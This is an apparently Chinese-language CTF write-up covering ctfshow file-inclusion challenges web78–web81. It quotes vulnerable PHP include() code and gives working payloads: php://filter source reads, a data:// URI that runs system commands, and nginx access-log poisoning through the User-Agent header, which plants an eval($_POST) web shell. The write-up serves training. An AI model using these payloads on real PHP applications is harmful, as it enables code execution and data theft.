web入门:文件包含🥰

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

include包含,尝试使用伪协议

1
?file=php://filter/convert.base64-encode/resource=flag.php

使用base64解码获得flag

web79

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

str_replace()函数把php替换成了???
使用data协议:

1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= —> <?php system(‘cat flag.php’);

web80

关键源码:

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这个题php和data协议都用不了了,尝试以下包含日志文件
通过fn+f12查看网络


burpsuite抓包

Wappalyzer
都可看到
本题是nginx服务器

nginx服务器的日志通常路径为:
/var/log/nginx/access.log

/var/log/nginx/error.log

本题的路径是/var/log/nginx/access.log
在url中输入?file=/var/log/nginx/access.log 读取日志
发现内容为请求行、UA头、IP地址

使用burp suite抓包
在UA头写入shell

1
<?php echo 123;phpinfo();eval($_POST[0]);?>

启动中国蚁剑拿到flag

方法二:

burp suite抓包
在UA头中插入payload

1
<?php system('cat fl??.php');?>

获得flag

web81

与80题方法一样😊


web入门:文件包含🥰
http://example.com/2023/04/27/wenjianbaohan/
作者
奇怪的奇怪
发布于
2023年4月27日
许可协议